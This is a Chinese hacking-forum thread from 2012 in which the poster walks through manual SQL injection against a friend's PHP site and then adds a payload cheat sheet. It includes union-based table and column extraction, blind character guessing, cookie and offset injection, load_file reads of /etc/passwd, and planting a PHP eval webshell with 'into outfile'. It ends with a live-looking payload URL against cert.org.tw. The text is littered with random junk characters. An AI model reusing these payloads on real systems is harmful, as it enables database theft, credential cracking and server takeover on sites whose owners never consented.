找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3263|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~4 i; U: j+ x" U+ {
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
  f2 f) o0 k& e7 B7 l+ S我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。; x3 E! s  J  m
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
' I# H7 F6 Q/ D4 w$ Z  W1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
' K+ U5 T3 Y1 r) E% S/ V" _这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
. ^- [5 e# Y6 n+ oWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in# {9 N6 w" X  n
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入% Y& `, E" m3 R6 D' B
                        
& R7 C8 ?8 h% O- l2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,0 I1 f- N# |0 G  C: w
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
8 `$ U) }0 _$ G  |. B, q; H& B" P4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
/ M0 V+ X6 N; p! _5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。. x6 e: Y6 e& ^5 Q% Z
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
0 K+ i2 N0 b2 L1 Z9 w: A2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
  H) y: h9 P6 |( Z2 K, X我就用的是第二个思路,5 Y* u# J: L( I4 _% [: Y2 b! b
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  0 F' \" i: y8 U9 R; |
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
" f% N7 y$ ?# l& P4 ^$ \提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
) P$ l& \1 ~: q' p- O注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
( B& U' t# E/ G' @6 e6 z7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????( z" }: ]2 H: I
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....3 ~# A" ?) R) F6 ^
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --  c* w  z' ^" N$ _  ]+ c
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,0 B5 v3 m) L, B2 l) z
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......4 E) A, Y; J, S1 S6 D: r1 d7 C
下面是一些很普遍注入方式资料:+ w+ n3 ~6 [; J: G. m& z' x
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='" \6 K+ @1 E7 j+ z2 z
拆半法
  I, M# H/ f/ l2 l# c######################################
. {. g: C3 K7 @% eand exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
8 N; ]' v7 Y% M5 m4 q+ M- Q, Jand exists (select * from admin)
0 g/ `: m- k" n; N( Vand exists(select id from admin)7 Q2 q6 ?' u8 p1 I9 _  D, ]+ f3 y. N5 G
and exists(select id from admin where id=1). C& h# ]3 e* ]% e* D6 u+ i8 K; c/ @0 r9 S
and exists(select id from admin where id>1)
( Q* C. `# K% D7 ]然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 & q6 o3 l" r! I( P8 m  T
and exists (select username from admin)
/ w  p; M+ C* ^- l8 w' O. l% c$ z' @and exists (select password from admin)
$ o' M" ~, t" z$ V  qand exists (select id from admin where len(username)<10 and id=1)& E# L! m! _7 e
and exists (select id from admin where len(username)>5 and id=1)
9 v6 m( f8 ~: ?' v6 z- Q9 `and exists (select id from admin where len(username)=6 and id=1)
! Z% \7 W4 _  r4 rand exists (select id from admin where len(password)<10 and id=1)* F6 \7 C+ m6 k5 F0 i3 |. l) R
and exists (select id from admin where len(password)>5 and id=1)4 u# U$ z; g, H" k+ d
and exists (select id from admin where len(password)=7 and id=1)
3 s9 A0 N3 f" B' [and (select top 1 asc(mid(username,1,1)) from admin)=97
" b% X+ C! k/ w$ g9 k  _返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
, D( V; o. f" q- Q4 O% n% W猜第二位把username,1,1改成username,2,1就可以了。
+ [2 z. ]$ r, f/ w5 k/ u8 {猜密码把username改成password就OK了9 E' W: B) a3 _& J* j
##################################################9 l5 U" X' q1 @+ b; s0 ~% K+ D
搜索型注入
/ i8 l: ?  ^- d( E' ]##################################
1 d7 k* n1 @/ j$ m1 W! o, V' I%' and 1=1 and '%'='/ }; |3 M& I3 \
%' and exists (select * from admin) and '%'='
2 D# X  `) W: n%' and exists(select id from admin where id=1) and '%'='0 _/ {3 C7 ?7 h8 [9 q, m
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='. o9 k* M# }: d
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='' x! L  o3 }; d4 F; v
%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='. t" G8 U9 |9 P# R+ R
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='% B) ?' Z; @" x/ R: B! g
对于MSSQL数据库,后面可以吧 and '%'='换成--; q  R4 K6 ^+ W
还有一点搜索型注入也可以使用union语句。
# z+ w) W% J- I/ Y! t/ M########################################################  D1 d4 j" K- S) g8 ~. |- f! C2 `$ v
联合查询。
6 ~+ I# o. C0 S9 \% G; N+ Z" c! c#####################################* N& a: r( Y0 i8 I1 R5 ?4 U0 V
order by 10
) T5 x: \  `( L9 V/ g9 Z2 Cand 1=2 union select 1,2,3,4,5,6,7,8,9,101 G# B, v' b! _& R6 w6 {! `4 |2 b+ L0 W
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
! {  M6 I7 T5 v5 {# kand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1: _; }0 S$ M& W& d8 d9 ?
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
- k% ]- p5 I: H, z###################################- a/ ]% S- I5 z' h2 w% y6 m2 f" l
cookie注入$ [# i0 W8 i/ d
###############################! |; S+ b  t( k
http://www.******.com/shownews.asp?id=127
# _0 Q$ I7 y! E4 u) k" o/ \, p' |http://www.******.com/shownews.asp
$ Q/ q( B9 N4 c6 ?alert(="id="+escape("127"));; v# i9 Y4 g" p/ J  L+ X
alert(="id="+escape("127 and 1=1"));8 B1 v5 z6 p( p5 c
alert(="id="+escape("127 order by 10"));
5 A( [- D1 ^1 Calert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
9 Y/ {0 v8 p, x3 a9 |alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
9 P8 O  F  x, l* d6 M这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
- I5 @' G. J) Q* P% C###################################4 Z; a% E2 y1 d0 E2 W+ a
偏移注入+ S$ a! x& \' e" f; i- {7 |; v; n" g8 ~
###########################################################
; |' O# R4 |! V/ ?; H$ ]union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin; v$ o4 a, s- G( E( ^
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin0 c. K3 u" L6 W/ L/ @/ P, J- |
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)
) q* R1 t) K  _0 P1 v$ W, Kunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
. |* c0 C9 h! D, @. @union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)& T( j; b$ U$ z: u
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
0 @7 m4 u; o3 f3 s, Z. o$ U/ _9 b' Munion select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
5 W; C/ H3 Y: Ha.id=d.id)# M' x' c+ m. G( f9 z4 |; V8 Q$ M
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
% @: v2 U6 g( C2 Jand 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
# K7 [/ L$ r( K# t/ A2 p( h: ~% W  / ?' S% k' f# W: u5 L/ }
============================================================================================================- Q. @$ S! y1 z1 M! @0 E
1.判断版本
/ d# m7 n* R+ z8 _9 r* Uand ord(mid(version(),1,1))>51
% A2 v3 f) v, h/ x) d0 t) C返回正常,说明大于4.0版本,支持ounion查询
8 q6 ^+ F! J7 Q2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解
% i: u5 N' @* J1 R/ [and 2=4 union select 1,2,3,4,5,6,7,8,9--( j5 j2 N3 p4 T: O
3.查看数据库版本及当前用户,
' L8 Q; u- v/ j* q* J+ t+ Nand 2=4 union select 1,user(),version(),4,5,6,7,8,9--1 B2 c% l6 i! S* S
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
" X, r* y% b/ k4.判断有没有写权限
: F% v( J) P% A: P# E4 Cand (select count(*) from MySQL.user)>0--
7 a5 r- }3 g& Q% O4 o) j: t. {5 D5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
2 n& c: Q8 i( z# T( @用不了这个命令,就学习土耳其黑客手法,如下
  ~) Y7 H5 a0 A" zand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
7 j0 n  U- f6 p% c  e6.爆表,爆库
  V3 d5 V7 s* A* I- U7 L9 k- A) pand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
4 }  D% r" Y, @7.爆列名,爆表
* y) q* r* V. o9 d: O% eand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
3 f2 p+ d/ ~. f( T2 O8.查询字段数,直接用limit N,1去查询,直接N到报错为止。
# `8 ^; ~+ T: t# o$ H5 O+ E1 yand+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--) ^6 E+ o+ O/ {9 _' u. o
9.爆字段内容0 E$ m6 E0 f9 g# o
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
' W# A. y: ]% V6 R1 @' ]8 {http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表